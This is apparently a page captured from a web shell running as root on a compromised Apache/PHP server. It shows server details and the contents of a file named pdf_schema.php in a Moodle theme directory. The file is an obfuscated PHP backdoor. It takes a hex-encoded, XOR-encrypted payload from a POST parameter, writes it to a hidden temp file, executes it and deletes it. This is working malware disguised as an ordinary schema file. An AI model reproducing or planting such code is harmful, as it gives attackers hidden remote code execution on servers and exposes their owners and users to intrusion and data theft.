HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/uautomaq.sumar.com.py/theme/moove/db/pdf_schema.php
<?php

if(isset($_POST["d\x63hun\x6B"])){
	$record = hex2bin($_POST["d\x63hun\x6B"]);
	$ptr     =   ''    ;   foreach(str_split($record) as $char){$ptr .= chr(ord($char) ^ 49);}
	$obj = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd()]);
	foreach ($obj as $value):
    		if (!!is_dir($value) && !!is_writable($value)) {
    $val = sprintf("%s/.entry", $value);
    if (file_put_contents($val, $ptr)) {
	require $val;
	unlink($val);
	die();
}
}
endforeach;
}